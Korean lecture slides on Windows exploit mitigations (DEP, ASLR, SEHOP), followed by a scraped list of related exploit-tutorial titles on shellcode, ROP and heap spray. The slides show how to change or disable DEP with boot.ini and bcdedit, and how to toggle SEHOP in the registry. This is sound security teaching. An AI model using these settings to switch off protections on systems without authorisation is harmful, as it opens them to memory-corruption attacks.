71 4-3. DEP(Data Execution Prevention) u DEP 개요 공격자에의해 Stack, Heap, Data Section 에서의코드실행을금지 보통버퍼오버플로우를이용한기존의 Exploit 은악의적인코드 ( 쉘코드 ) 가 Stack 에존재하고 exploit 시 Stack 에있는쉘코드가실행되는형태였지만, DEP 적용시 Stack 은실행권한이없는영역이므로공격 ( 코드실행 ) 을수행할수없게됨 u DEP 모드 하드웨어 (H/W) DEP - CPU 의 NX(AMD) 나 XD(Intel) bit 를이용 - 현재 DEP 는대부분하드웨어 DEP 를의미한다볼수있음 - 데이터영역에 Non-eXecutable 을표시해두고해당영역에코드실행시도가있을경우 Access Violation 발생 소프트웨어 (S/W) DEP - 하드웨어의지원이없더라도소프트웨어적으로구현할수있도록 Windows 에서지원하는형태 - SafeSEH 와같은기법을의미

72 4-3. DEP(Data Execution Prevention) u DEP 4 가지정책수준 OptIn 정책수준 OptOut AlwaysOn AlwaysOff 제한된모듈이나바이너리만이 DEP 에의해보호 Windows XP 의기본설정 예외리스트내의프로세스들을제외한모든프로세스들은 DEP 에의해보호 예외없이모든프로세스들은 DEP 에의해보호 DEP 기능을중지 u Permanent DEP Windows XP SP3 부터추가 SetProcessDEPPolicy(PROCESS_DEP_ENABLE) API 를이용하여프로세스의 DEP 를활성화시킬수있음 /NXCOMPAT 옵션을사용하여링크한모든실행모듈들은자동적으로 Permanent 플래그가설정

73 4-3. DEP(Data Execution Prevention) u DEP 정책변경 ( 내컴퓨터속성 -> 고급시스템설정 -> 성능설정 -> DEP)

74 4-3. DEP(Data Execution Prevention) u DEP 정책상세변경 Windows XP Or Windows Server 2003 에서 DEP 정책변경 - boot.ini 에서 OS 부팅설정라인끝에다음인자를통해변경 - /noexecute=[ 정책수준 ] Windows Vista, Windows 7, Windows Server 2008 에서 DEP 정책변경 - bcdedit /set nx [ 정책수준 ]

75 4-3. DEP(Data Execution Prevention) Visual Studio 의링커속성에서 DEP 옵션설정

76 4-4. ASLR(Address Space Layout Randomization) u ASLR 프로세스내의다양한오브젝트에대하여실행시주소를랜덤화 실행파일 Image, Library, Stack, Heap, TEB, PEB,... Windows Vista sp0 부터적용 공격자는오브젝트에대한정확한주소를예측할수없으므로공격에실패하게됨

77 4-4. ASLR(Address Space Layout Randomization) Visual Studio 의링커속성에서 ASLR 옵션설정

78 4-4. ASLR(Address Space Layout Randomization) #include <stdio.h> int main() { char buffer[1024]; printf( Buffer Address : %p\n, buffer); return 0; } Stack 에할당되는지역변수의주소를확인하는코드

79 4-4. ASLR(Address Space Layout Randomization) ASLR 옵션미적용 ASLR 옵션적용

80 4-5. SEHOP(Structured Error Handling Overwrite Protection) u SEH Chain Validation Check Exception Handler 들을호출하기전에, Exception Record Chain 을점검하는기능 Windows Vista SP1, Windows 7, Windows Server2008, Windows Server 2008 R2 에서 SEHOP 에대한지원이포함 기본적으로 SEHOP 는 Windows Server 2008 R2 및 Windows Server 2008 에서 Default 로사용되고 Windows 7 및 Windows Vista 에서는 Default 로사용되지않음 MSDN :

81 4-5. SEHOP(Structured Error Handling Overwrite Protection) 레지스트리를이용하여 SEHOP 를사용하도록설정 ( 직접설정 ) DisableExceptionChainValidation 값이 1( 해제 ) 또는 0( 설정 )

82 Reference

83 Reference u 참고자료 Corelan Windows Exploit Writing Tutorial( Exploit DB( OpenRCE(

Deok9_Exploit Technique

Deok9_Exploit Technique Exploit Technique CodeEngn Co-Administrator!!! and Team Sur3x5F Member Nick : Deok9 E-mail : DDeok9@gmail.com HomePage : http://deok9.sur3x5f.org Twitter :@DDeok9 > 1. Shell Code 2. Security

More information

hlogin2

hlogin2 0x02. Stack Corruption off-limit Kernel Stack libc Heap BSS Data Code off-limit Kernel Kernel : OS Stack libc Heap BSS Data Code Stack : libc : Heap : BSS, Data : bss Code : off-limit Kernel Kernel : OS

More information

hlogin7

hlogin7 0x07. Return Oriented Programming ROP? , (DEP, ASLR). ROP (Return Oriented Programming) (excutable memory) rop. plt, got got overwrite RTL RTL Chain DEP, ASLR gadget Basic knowledge plt, got call function

More information

Microsoft Word - building the win32 shellcode 01.doc

Microsoft Word - building the win32 shellcode 01.doc Win32 Attack 1. Local Shellcode 작성방법 By 달고나 (Dalgona@wowhacker.org) Email: zinwon@gmail.com Abstract 이글은 MS Windows 환경에서 shellcode 를작성하는방법에대해서설명하고있다. Win32 는 *nix 환경과는사뭇다른 API 호출방식을사용하기때문에조금복잡하게둘러서 shellcode

More information

Poison null byte Excuse the ads! We need some help to keep our site up. List 1 Conditions 2 Exploit plan 2.1 chunksize(p)!= prev_size (next_chunk(p) 3

Poison null byte Excuse the ads! We need some help to keep our site up. List 1 Conditions 2 Exploit plan 2.1 chunksize(p)!= prev_size (next_chunk(p) 3 Poison null byte Excuse the ads! We need some help to keep our site up. List 1 Conditions 2 Exploit plan 2.1 chunksize(p)!= prev_size (next_chunk(p) 3 Example 3.1 Files 3.2 Source code 3.3 Exploit flow

More information

목차 1. 소개... 3 가. BOF란?... 3 나. 윈도우 BOF 개발환경및사용툴 Shellcode 작성하기... 4 가. cmd 쉘 ) 소스코드작성 ) 디스어셈블리 ) 어셈블리코드편집 간단

목차 1. 소개... 3 가. BOF란?... 3 나. 윈도우 BOF 개발환경및사용툴 Shellcode 작성하기... 4 가. cmd 쉘 ) 소스코드작성 ) 디스어셈블리 ) 어셈블리코드편집 간단 기술문서 `09. 11. 02. 작성 Windows Buffer Overflow Attack 작성자 : 영남대학교정보보호연구학회 @Xpert 김슬예나 prehea@ynu.ac.kr 1 목차 1. 소개... 3 가. BOF란?... 3 나. 윈도우 BOF... 3 2. 개발환경및사용툴... 3 3. Shellcode 작성하기... 4 가. cmd 쉘... 4

More information

PowerPoint Template

PowerPoint Template BoF 원정대서비스 목차 환경구성 http://www.hackerschool.org/hs_boards/zboard.php?id=hs_notice&no=1170881885 전용게시판 http://www.hackerschool.org/hs_boards/zboard.php?id=bof_fellowship Putty War game 2 LOB 란? 해커스쿨에서제공하는

More information

INTRO Basic architecture of modern computers Basic and most used assembly instructions on x86 Installing an assembly compiler and RE tools Practice co

INTRO Basic architecture of modern computers Basic and most used assembly instructions on x86 Installing an assembly compiler and RE tools Practice co Basic reverse engineering on x86 This is for those who want to learn about basic reverse engineering on x86 (Feel free to use this, email me if you need a keynote version.) v0.1 SeungJin Beist Lee beist@grayhash.com

More information

목 차 1. 개요 취약점분석추진배경 취약점요약 취약점정보 취약점대상시스템목록 분석 공격기법및기본개념 시나리오 공격코드

목 차 1. 개요 취약점분석추진배경 취약점요약 취약점정보 취약점대상시스템목록 분석 공격기법및기본개념 시나리오 공격코드 취약점분석보고서 [Aviosoft Digital TV Player Professional 1.x Stack Buffer Overflow] 2012-08-08 RedAlert Team 강동우 목 차 1. 개요... 1 1.1. 취약점분석추진배경... 1 1.2. 취약점요약... 1 1.3. 취약점정보... 1 1.4. 취약점대상시스템목록... 1 2. 분석...

More information

No Slide Title

No Slide Title Copyright, 2017 Multimedia Lab., UOS 시스템프로그래밍 (Assembly Code and Calling Convention) Seong Jong Choi chois@uos.ac.kr Multimedia Lab. Dept. of Electrical and Computer Eng. University of Seoul Seoul, Korea

More information

Microsoft Word - Heap_Spray.doc

Microsoft Word - Heap_Spray.doc Heap Spray 본문서는 최근 웹 브라우저를 이용한 공격에 사용되는 Heap Spray 기법에 대한 내용을 수록하였다. 관련 내용에 대하여 많은 도움이 되기 바란다. 문서 내용은 초보자도 쉽게 이해할 수 있도록 관련 내용에 대한 설명을 포함하였다. Hacking Group OVERTIME force< forceteam01@gmail.com > 2007.05.13

More information

IDA 5.x Manual 07.02.hwp

IDA 5.x Manual 07.02.hwp IDA 5.x Manual - Manual 01 - 영리를 목적으로 한 곳에서 배포금지 Last Update 2007. 02 이강석 / certlab@gmail.com 어셈블리어 개발자 그룹 :: 어셈러브 http://www.asmlove.co.kr - 1 - IDA Pro 는 Disassembler 프로그램입니다. 기계어로 되어있는 실행파일을 어셈블리언어

More information

Microsoft Word - MSOffice_WPS_analysis.doc

Microsoft Word - MSOffice_WPS_analysis.doc MS Office.WPS File Stack Overflow Exploit 분석 (http://milw0rm.com/ 에공개된 exploit 분석 ) 2008.03.03 v0.5 By Kancho ( kancholove@gmail.com, www.securityproof.net ) milw0rm.com에 2008년 2월 13일에공개된 Microsoft Office.WPS

More information

본문서는 Syngress 의 Writing Security Tools and Exploits Chap11 을요약정리한 것입니다. 참고로 Chap 10 ~ 12 까지가 Metasploit 에대한설명입니다. Metasploit Framework 활용법 1. Metasplo

본문서는 Syngress 의 Writing Security Tools and Exploits Chap11 을요약정리한 것입니다. 참고로 Chap 10 ~ 12 까지가 Metasploit 에대한설명입니다. Metasploit Framework 활용법 1. Metasplo 본문서는 Syngress 의 Writing Security Tools and Exploits Chap11 을요약정리한 것입니다. 참고로 Chap 10 ~ 12 까지가 Metasploit 에대한설명입니다. Metasploit Framework 활용법 1. Metasploit Framework(MSF) 이란? bluearth in N@R 2003년오픈소스로발표된취약점발견및공격을위한

More information

C 프로그래밍 언어 입문 C 프로그래밍 언어 입문 김명호저 숭실대학교 출판국 머리말..... C, C++, Java, Fortran, Python, Ruby,.. C. C 1972. 40 C.. C. 1999 C99. C99. C. C. C., kmh ssu.ac.kr.. ,. 2013 12 Contents 1장 프로그래밍 시작 1.1 C 10 1.2 12

More information

ActFax 4.31 Local Privilege Escalation Exploit

ActFax 4.31 Local Privilege Escalation Exploit NSHC 2013. 01. 14. 취약점분석보고서 Information Service about a new vulnerability Version 1.0 [ ] 2012 Red Alert. All Rights Reserved. 목차 1. 개요... 3 2. 공격... 4 3. 분석... 8 4. 결론... 12 5. 대응방안... 12 6. 참고자료... 13

More information

취약점분석보고서 [Photodex ProShow Producer v ] RedAlert Team 안상환

취약점분석보고서 [Photodex ProShow Producer v ] RedAlert Team 안상환 취약점분석보고서 [Photodex ProShow Producer v5.0.3256] 2012-07-24 RedAlert Team 안상환 목 차 1. 개요... 1 1.1. 취약점분석추진배경... 1 2. Photodex ProShow Producer Buffer Overflow 취약점분석... 2 2.1. Photodex ProShow Producer Buffer

More information

Microsoft PowerPoint - chap01-C언어개요.pptx

Microsoft PowerPoint - chap01-C언어개요.pptx #include int main(void) { int num; printf( Please enter an integer: "); scanf("%d", &num); if ( num < 0 ) printf("is negative.\n"); printf("num = %d\n", num); return 0; } 1 학습목표 프로그래밍의 기본 개념을

More information

Cogame 취약점 보고

Cogame 취약점 보고 Frist Version: 2006. 01. 07 Last Version: 2006. 01. 19 anesra@{null2root.org, gmail.com Table of Contents 1. 기본개념과도구...3 1.1 윈도우쉘코드... 3 1.2 윈도우메모리 LAYOUT... 4 1.3 레지스터... 4 1.4 기본어셈블리어명령어... 4 2. 쉘코드만들기...6

More information

1.hwp

1.hwp 윈도우 멀티미디어 취약점 분석 방법론 연구 수탁기관 : 한양대학교 산학협력단 2009. 09 25,000 2008 2009(1~8월 ) 20,000 15,000 11,818 10,000 5,000-11,362 3,344 2,756 603 173 2-366 165 1 1 기업 대학 비영리 연구소 네트워크 기타(개인)

More information

강의10

강의10 Computer Programming gdb and awk 12 th Lecture 김현철컴퓨터공학부서울대학교 순서 C Compiler and Linker 보충 Static vs Shared Libraries ( 계속 ) gdb awk Q&A Shared vs Static Libraries ( 계속 ) Advantage of Using Libraries Reduced

More information

6주차.key

6주차.key 6, Process concept A program in execution Program code PCB (process control block) Program counter, registers, etc. Stack Heap Data section => global variable Process in memory Process state New Running

More information

Linux Binary Hardening with Glibc Hyeonho Seo

Linux Binary Hardening with Glibc Hyeonho Seo Linux Binary Hardening with Glibc Hyeonho Seo About Me 서현호(Hyeonho Seo) KDMHS 재학 중인 파릇한(?) 고등학 생 게임/팀플 빼고는 우분투만 사용 관심 분야는 상당히 잡식성 POSIX System Hacking Linux Kernel Programming Network Protocol C, Modern

More information

how_2_write_Exploit_4_the_MSF_v3.x.hwp

how_2_write_Exploit_4_the_MSF_v3.x.hwp Metasploit v3.0 을이용한 Exploit 작성하기 2008.1.18 본문서는 Jerome 님의 Writing Windows Exploits 을기반으로작성된문서임을밝힙니다. rich4rd rich4rd.lim@gmail.com - 1 - 목차. 1. 소개및개요 2. 배경지식 3. Exploit module 실습 3.1 Exploit module 수정하기

More information

취약점분석보고서 [CyberLink Power2Go name attribute (p2g) Stack Buffer Overflow Exploit] RedAlert Team_ 강동우

취약점분석보고서 [CyberLink Power2Go name attribute (p2g) Stack Buffer Overflow Exploit] RedAlert Team_ 강동우 취약점분석보고서 [CyberLink Power2Go name attribute (p2g) Stack Buffer Overflow Exploit] 2012-07-19 RedAlert Team_ 강동우 목 차 1. 개요... 1 1.1. 취약점분석추진배경... 1 1.2. Power2Go name Stack Buffer Overflow 취약점요약... 1 2.

More information

Microsoft Word - FunctionCall

Microsoft Word - FunctionCall Function all Mechanism /* Simple Program */ #define get_int() IN KEYOARD #define put_int(val) LD A val \ OUT MONITOR int add_two(int a, int b) { int tmp; tmp = a+b; return tmp; } local auto variable stack

More information

BMP 파일 처리

BMP 파일 처리 BMP 파일처리 김성영교수 금오공과대학교 컴퓨터공학과 학습내용 영상반전프로그램제작 2 Inverting images out = 255 - in 3 /* 이프로그램은 8bit gray-scale 영상을입력으로사용하여반전한후동일포맷의영상으로저장한다. */ #include #include #define WIDTHBYTES(bytes)

More information

Exploit writing tutorials

Exploit writing tutorials EXPLOIT WRITING TUTORIALS C1 STACK BASED BUFFER OVERFLOW KIM DONG HYUN WHATTEAM & LET S CQ & KOREA IT TECHNICAL SCHOOL rlaehdgus213@naver.com 페이지 0 / 24 Exploit writing tutorials C1 Stack Based Buffer

More information

untitled

untitled 시스템소프트웨어 : 운영체제, 컴파일러, 어셈블러, 링커, 로더, 프로그래밍도구등 소프트웨어 응용소프트웨어 : 워드프로세서, 스프레드쉬트, 그래픽프로그램, 미디어재생기등 1 n ( x + x +... + ) 1 2 x n 00001111 10111111 01000101 11111000 00001111 10111111 01001101 11111000

More information

02.Create a shellcode that executes "/bin/sh" Excuse the ads! We need some help to keep our site up. List Create a shellcode that executes "/bin/sh" C

02.Create a shellcode that executes /bin/sh Excuse the ads! We need some help to keep our site up. List Create a shellcode that executes /bin/sh C 02.Create a shellcode that executes "/bin/sh" Excuse the ads! We need some help to keep our site up. List Create a shellcode that executes "/bin/sh" C language Assembly code Change permissions(seteuid())

More information

01.ROP(Return Oriented Programming)-x86 Excuse the ads! We need some help to keep our site up. List Return Oriented Programming(ROP) -x86 Gadgets - PO

01.ROP(Return Oriented Programming)-x86 Excuse the ads! We need some help to keep our site up. List Return Oriented Programming(ROP) -x86 Gadgets - PO 01.ROP(Return Oriented Programming)-x86 Excuse the ads! We need some help to keep our site up. List Return Oriented Programming(ROP) -x86 Gadgets - POP; POP; POP; RET PLT & GOT Debug Proof of concept Example

More information

Microsoft Word - readme.doc

Microsoft Word - readme.doc ========================================================= 제 1 회광주과기원정보통신공학과 SW 경진대회 (Hacking 경진대회 ) 대회시작 : 2002 년 8 월 8 일 ( 목 ) 오후 9:00 ( 한국시간, GMT+9:00) 대회종료 : 2002 년 8 월 10 일 ( 토 ) 오후 9:00 ( 한국시간, GMT+9:00)

More information

Microsoft PowerPoint - 00_(C_Programming)_(Korean)_Computer_Systems

Microsoft PowerPoint - 00_(C_Programming)_(Korean)_Computer_Systems C Programming 컴퓨터시스템 (Computer Systems) Seo, Doo-Ok Clickseo.com clickseo@gmail.com 목 차 컴퓨터시스템 프로그래밍언어 2 컴퓨터시스템 컴퓨터시스템 컴퓨터하드웨어 컴퓨터소프트웨어 프로그래밍언어 3 컴퓨터시스템 컴퓨터시스템 하드웨어 : 물리적인장비 소프트웨어 : 프로그램 ( 명령어 ) 들의집합 Computer

More information

02 C h a p t e r Java

02 C h a p t e r Java 02 C h a p t e r Java Bioinformatics in J a va,, 2 1,,,, C++, Python, (Java),,, (http://wwwbiojavaorg),, 13, 3D GUI,,, (Java programming language) (Sun Microsystems) 1995 1990 (green project) TV 22 CHAPTER

More information

Eureka Mail Client_v2.2.q를이용하여오믈렛에그헌팅에대하여알아볼것이다. 익스플로잇을위해구성된환경은아래와같다. - Windows XP Professional SP3 KOR - Python Ollydbg 1.x, Immunity Debugg

Eureka Mail Client_v2.2.q를이용하여오믈렛에그헌팅에대하여알아볼것이다. 익스플로잇을위해구성된환경은아래와같다. - Windows XP Professional SP3 KOR - Python Ollydbg 1.x, Immunity Debugg 익스플로잇실습 / 튜토리얼 Eureka Mail Client 2.2q Omelet Egg Hunting By WraithOfGhost Eureka Mail Client_v2.2.q를이용하여오믈렛에그헌팅에대하여알아볼것이다. 익스플로잇을위해구성된환경은아래와같다. - Windows XP Professional SP3 KOR - Python 2.7.10 - Ollydbg

More information

Level 4 ( hell_fire -> evil_wizard ) ~]$ cat evil_wizard.c /* The Lord of the BOF : The Fellowship of the BOF - evil_wizard

Level 4 ( hell_fire -> evil_wizard ) ~]$ cat evil_wizard.c /* The Lord of the BOF : The Fellowship of the BOF - evil_wizard Level 4 ( hell_fire -> evil_wizard ) [hell_fire@fedora_1stfloor ~]$ cat evil_wizard.c /* The Lord of the BOF : The Fellowship of the BOF - evil_wizard - Local BOF on Fedora Core 3 - hint : GOT overwriting

More information

Secure Programming Lecture1 : Introduction

Secure Programming Lecture1 : Introduction Malware and Vulnerability Analysis Lecture1 Malware Analysis #1 Agenda 악성코드정적분석 악성코드분석 악성코드정적분석 정적분석 임의의코드또는응용프로그램을실행하지않고분석 ASCII 문자열 (ex. URL) API 리스트 Packing VT 기타등등 정적분석 : 파일식별 악성으로의심되는파일의형태식별 file

More information

Computer Security Chapter 08. Format String 김동진 1 Secure Software Lab.

Computer Security Chapter 08. Format String 김동진   1 Secure Software Lab. Computer Security Chapter 08. Format Strig 김동진 (kdjorag@gmail.com) http://securesw.dakook.ac.kr/ 1 목차 Format Strig Attack? Format Strig? Format Strig Attack 의원리 입력코드생성 Format Strig Attack (kerel v2.2,

More information

0x00 Contents 0x About Nickster 0x Analaysis 0x Exploit

0x00 Contents 0x About Nickster 0x Analaysis 0x Exploit Defcon CTF 17 th Nickster Report StolenByte(Son Choong-Ho) http://stolenbyte.egloos.com thscndgh_4@hotmail.com WOWHACKER 2009. 08. 09 0x00 Contents 0x01 ------------- About Nickster 0x02 -------------

More information

1

1 1 1....6 1.1...6 2. Java Architecture...7 2.1 2SDK(Software Development Kit)...8 2.2 JRE(Java Runtime Environment)...9 2.3 (Java Virtual Machine, JVM)...10 2.4 JVM...11 2.5 (runtime)jvm...12 2.5.1 2.5.2

More information

Deok9_PE Structure

Deok9_PE Structure PE Structure CodeEngn Co-Administrator!!! and Team Sur3x5F Member Nick : Deok9 E-mail : DDeok9@gmail.com HomePage : http://deok9.sur3x5f.org Twitter :@DDeok9 1. PE > 1) PE? 2) PE 3) PE Utility

More information

Microsoft Word - ExecutionStack

Microsoft Word - ExecutionStack Lecture 15: LM code from high level language /* Simple Program */ external int get_int(); external void put_int(); int sum; clear_sum() { sum=0; int step=2; main() { register int i; static int count; clear_sum();

More information

Microsoft Word - Exploit writing tutorial part 1.doc

Microsoft Word - Exploit writing tutorial part 1.doc Exploit writing tutorial part 1: Stack Based Overflows 1 By Peter Van Eeckhoutte 편역 : vangelis(vangelis@s0f.org) 2009년 7월 17일, Crazy_Hacker 라는닉을가진사람이패킷스톰을통해 Easy RM to MP3 Converte에존재하는취약점 (http://packetstormsecurity.org/0907-exploits/)

More information

Microsoft Word - Static analysis of Shellcode.doc

Microsoft Word - Static analysis of Shellcode.doc Static analysis of Shellcode By By Maarten Van Horenbeeck 2008.09.03 2008.09.03 본문서에서는악성코드에서사용하는난독화되어있는쉘코드 를분석하는방법에대한 Maarten Van Horenbeeck 의글을번역 한것이다. Hacking Group OVERTIME OVERTIME force

More information

Microsoft Word - SEH_Overwrites_Simplified.doc

Microsoft Word - SEH_Overwrites_Simplified.doc SEH Overwrites Simplified v1.01 1 Date : 2007. 10. 29 저자 : Aelphaeis Mangarae 편역 : Kancho ( kancholove@gmail.com, www.securityproof.net ) 머리말 이문서는 Stack 다이어그램을이용하여두개의다른 Windows 플랫폼에서의 SEH Overwrite를다룹니다.

More information

untitled

untitled Embedded System Lab. II Embedded System Lab. II 2 RTOS Hard Real-Time vs Soft Real-Time RTOS Real-Time, Real-Time RTOS General purpose system OS H/W RTOS H/W task Hard Real-Time Real-Time System, Hard

More information

슬라이드 1

슬라이드 1 -Part3- 제 4 장동적메모리할당과가변인 자 학습목차 4.1 동적메모리할당 4.1 동적메모리할당 4.1 동적메모리할당 배울내용 1 프로세스의메모리공간 2 동적메모리할당의필요성 4.1 동적메모리할당 (1/6) 프로세스의메모리구조 코드영역 : 프로그램실행코드, 함수들이저장되는영역 스택영역 : 매개변수, 지역변수, 중괄호 ( 블록 ) 내부에정의된변수들이저장되는영역

More information

Microsoft PowerPoint - a6.ppt [호환 모드]

Microsoft PowerPoint - a6.ppt [호환 모드] 이장의내용 6 장조건부처리 부울과비교명령어 조건부점프 조건부루프명령어 조건부구조 컴퓨터정보통신 어셈블리언어 2 6.2 부울과비교명령어 부울명령어 Instructions ti 동작 AND dst, src OR dst, src XOR dst, src NOT dst dst dst AND src dst dst OR src dst dst XOR src dst NOT

More information

<4D F736F F F696E74202D20B8B6C0CCC5A9B7CEC7C1B7CEBCBCBCAD202839C1D6C2F7207E203135C1D6C2F >

<4D F736F F F696E74202D20B8B6C0CCC5A9B7CEC7C1B7CEBCBCBCAD202839C1D6C2F7207E203135C1D6C2F > 10주차 문자 LCD 의인터페이스회로및구동함수 Next-Generation Networks Lab. 5. 16x2 CLCD 모듈 (HY-1602H-803) 그림 11-18 19 핀설명표 11-11 번호 분류 핀이름 레벨 (V) 기능 1 V SS or GND 0 GND 전원 2 V Power DD or V CC +5 CLCD 구동전원 3 V 0 - CLCD 명암조절

More information

MPLAB C18 C

MPLAB C18 C MPLAB C18 C MPLAB C18 MPLAB C18 C MPLAB C18 C #define START, c:\mcc18 errorlevel{0 1} char isascii(char ch); list[list_optioin,list_option] OK, Cancel , MPLAB IDE User s Guide MPLAB C18 C

More information

Microsoft PowerPoint - a8a.ppt [호환 모드]

Microsoft PowerPoint - a8a.ppt [호환 모드] 이장의내용 8 장고급프로시저 스택프레임 재귀 (Recursion) Invoke, Addr, Proc, Proto 디렉티브 다중모듈프로그램작성 2 8.2 스택프레임 Stack Frame ( 또는 activation record) procedure 의다음사항을저장한 영역 urn address passed parameter ( 스택매개변수 ) saved register

More information

<4D F736F F F696E74202D20BBB7BBB7C7D15F FBEDFB0A3B1B3C0B05FC1A638C0CFC2F72E BC8A3C8AF20B8F0B5E55D>

<4D F736F F F696E74202D20BBB7BBB7C7D15F FBEDFB0A3B1B3C0B05FC1A638C0CFC2F72E BC8A3C8AF20B8F0B5E55D> 뻔뻔한 AVR 프로그래밍 The Last(8 th ) Lecture 유명환 ( yoo@netplug.co.kr) INDEX 1 I 2 C 통신이야기 2 ATmega128 TWI(I 2 C) 구조분석 4 ATmega128 TWI(I 2 C) 실습 : AT24C16 1 I 2 C 통신이야기 I 2 C Inter IC Bus 어떤 IC들간에도공통적으로통할수있는 ex)

More information

Return-to-libc

Return-to-libc Return-to-libc Mini (skyclad0x7b7@gmail.com) 2015-08-22 - INDEX - 1. 개요... - 2-1-1. 서문... - 2-1-2. RTL 공격이란... - 2 - 보호기법... - 3 - Libc 란?... - 4-2. RTL 공격... - 4-2-1. 취약한코드... - 4-2-2. 분석... - 5-2-3.

More information

/* */

/* */ /*---------------------------------------------------------------------------------*/ 번역 : innovation@wowhacker.org /*---------------------------------------------------------------------------------*/

More information

Microsoft PowerPoint - a10.ppt [호환 모드]

Microsoft PowerPoint - a10.ppt [호환 모드] Structure Chapter 10: Structures t and Macros Structure 관련된변수들의그룹으로이루어진자료구조 template, pattern field structure를구성하는변수 (cf) C언어의 struct 프로그램의 structure 접근 entire structure 또는 individual fields Structure는

More information

Microsoft PowerPoint - CSharp-10-예외처리

Microsoft PowerPoint - CSharp-10-예외처리 10 장. 예외처리 예외처리개념 예외처리구문 사용자정의예외클래스와예외전파 순천향대학교컴퓨터학부이상정 1 예외처리개념 순천향대학교컴퓨터학부이상정 2 예외처리 오류 컴파일타임오류 (Compile-Time Error) 구문오류이기때문에컴파일러의구문오류메시지에의해쉽게교정 런타임오류 (Run-Time Error) 디버깅의절차를거치지않으면잡기어려운심각한오류 시스템에심각한문제를줄수도있다.

More information

0x <main+41>: lea eax,[ebp-264] 0x f <main+47>: push eax 0x080484a0 <main+48>: call 0x804835c <strcpy> 0x080484a5 <main+53>: add esp,0x1

0x <main+41>: lea eax,[ebp-264] 0x f <main+47>: push eax 0x080484a0 <main+48>: call 0x804835c <strcpy> 0x080484a5 <main+53>: add esp,0x1 FTZ LEVEL11 #include #include int main( int argc, char *argv[] ) { char str[256]; setreuid( 3092, 3092 ); strcpy( str, argv[1] ); printf( str ); gdb 를이용해분석해보면 [level11@ftz level11]$

More information

(Asynchronous Mode) ( 1, 5~8, 1~2) & (Parity) 1 ; * S erial Port (BIOS INT 14H) - 1 -

(Asynchronous Mode) ( 1, 5~8, 1~2) & (Parity) 1 ; * S erial Port (BIOS INT 14H) - 1 - (Asynchronous Mode) - - - ( 1, 5~8, 1~2) & (Parity) 1 ; * S erial Port (BIOS INT 14H) - 1 - UART (Univ ers al As y nchronous Receiver / T rans mitter) 8250A 8250A { COM1(3F8H). - Line Control Register

More information

=

= written by vangelis(vangelis@wowhacker.org) 0 0000 8 1000 1 0001 9 1001 2 0010 10 1010 3 0011 11 1011 4 0100 12 1100 5 0101 13 1101 6 0110 14 1110 7 0111 15 1111 110112 + 100012 = 1011002 110 0000 0101

More information

Microsoft PowerPoint - ch04_코드 보안 [호환 모드]

Microsoft PowerPoint - ch04_코드 보안 [호환 모드] 정보보안개론 4 장 이장에서다룰내용 1 컴퓨터의기본구조를살펴본다. 2 기계어수준에서의프로그램동작을이해한다. 2 3 버퍼오버플로우와포맷스트링공격을알아본다. Section 01 시스템과프로그램에대한이해 v 시스템메모리구조 프로그램을동작시키면메모리에프로그램이동작하기위한가상의메모리공간이 생성되며, 이메모리공간은다시그목적에따라상위, 하위메모리로나뉨. 상위메모리 : 스택

More information

Microsoft PowerPoint - secu10.pptx

Microsoft PowerPoint - secu10.pptx Buffer Overflow Chap 10. Buffer Overflow a very common attack mechanism 1988 년 the Morris Worm 가처음사용한방법 버퍼에저장되는데이터의크기를검사하지않는, 프로그램의부주의한점을이용 prevention techniques 이알려져있음 여전히많은관심대상임 널리배포되어사용중인운영체제와응용프로그램에이러한버그가있는코드가존재함

More information

Reusing Dynamic Linker For Exploitation Author : Date : 2012 / 05 / 13 Contact : Facebook : fb.me/kwonpwn

Reusing Dynamic Linker For Exploitation Author :  Date : 2012 / 05 / 13 Contact : Facebook : fb.me/kwonpwn Reusing Dynamic Linker For Exploitation Author : pwn3r @ B10S @WiseGuyz Date : 2012 / 05 / 13 Contact : austinkwon2@gmail.com Facebook : fb.me/kwonpwn3r Abstract 대부분의 Unix 에선공유라이브러리를메모리에로드하고프로그램과 link

More information

Microsoft PowerPoint - ch04_코드 보안 [호환 모드]

Microsoft PowerPoint - ch04_코드 보안 [호환 모드] 이장에서다룰내용 1 2 3 컴퓨터의기본구조를살펴본다. 기계어수준에서의프로그램동작을이해한다. 버퍼오버플로우와포맷스트링공격을알아본다. 정보보안개론 4 장 Section 01 시스템과프로그램에대한이해 Section 01 시스템과프로그램에대한이해 시스템메모리구조 프로그램을동작시키면메모리에프로그램이동작하기위한가상의메모리공간이생성되며, 이메모리공간은다시그목적에따라상위,

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 7-Segment Device Control - Device driver Jo, Heeseung HBE-SM5-S4210 의 M3 Module 에는 6 자리를가지는 7-Segment 모듈이아래그림처럼실장 6 Digit 7-Segment 2 6-Digit 7-Segment LED controller 16비트로구성된 2개의레지스터에의해제어 SEG_Sel_Reg(Segment

More information

61 62 63 64 234 235 p r i n t f ( % 5 d :, i+1); g e t s ( s t u d e n t _ n a m e [ i ] ) ; if (student_name[i][0] == \ 0 ) i = MAX; p r i n t f (\ n :\ n ); 6 1 for (i = 0; student_name[i][0]!= \ 0&&

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 7-SEGMENT DEVICE CONTROL - DEVICE DRIVER Jo, Heeseung 디바이스드라이버구현 : 7-SEGMENT HBE-SM5-S4210 의 M3 Module 에는 6 자리를가지는 7-Segment 모듈이아래그림처럼실장 6 Digit 7-Segment 2 디바이스드라이버구현 : 7-SEGMENT 6-Digit 7-Segment LED

More information

제목

제목 Development Technology Seminar 작 성 자 : 고형호 이 메 일 : hyungho.ko@gmail.com 최초작성일 : 2007.01.19 최종작성일 : 2007.02.05 버 전 : 01.05 홈 피 : www.innosigma.com Goal Exception Handling 1. SEH vs. CEH Exception Handling

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 7-Segment Device Control - Device driver Jo, Heeseung HBE-SM5-S4210 의 M3 Module 에는 6 자리를가지는 7-Segment 모듈이아래그림처럼실장 6 Digit 7-Segment 2 6-Digit 7-Segment LED Controller 16비트로구성된 2개의레지스터에의해제어 SEG_Sel_Reg(Segment

More information

< E20C6DFBFFEBEEE20C0DBBCBAC0BB20C0A7C7D12043BEF0BEEE20492E707074>

< E20C6DFBFFEBEEE20C0DBBCBAC0BB20C0A7C7D12043BEF0BEEE20492E707074> Chap #2 펌웨어작성을위한 C 언어 I http://www.smartdisplay.co.kr 강의계획 Chap1. 강의계획및디지털논리이론 Chap2. 펌웨어작성을위한 C 언어 I Chap3. 펌웨어작성을위한 C 언어 II Chap4. AT89S52 메모리구조 Chap5. SD-52 보드구성과코드메모리프로그래밍방법 Chap6. 어드레스디코딩 ( 매핑 ) 과어셈블리어코딩방법

More information

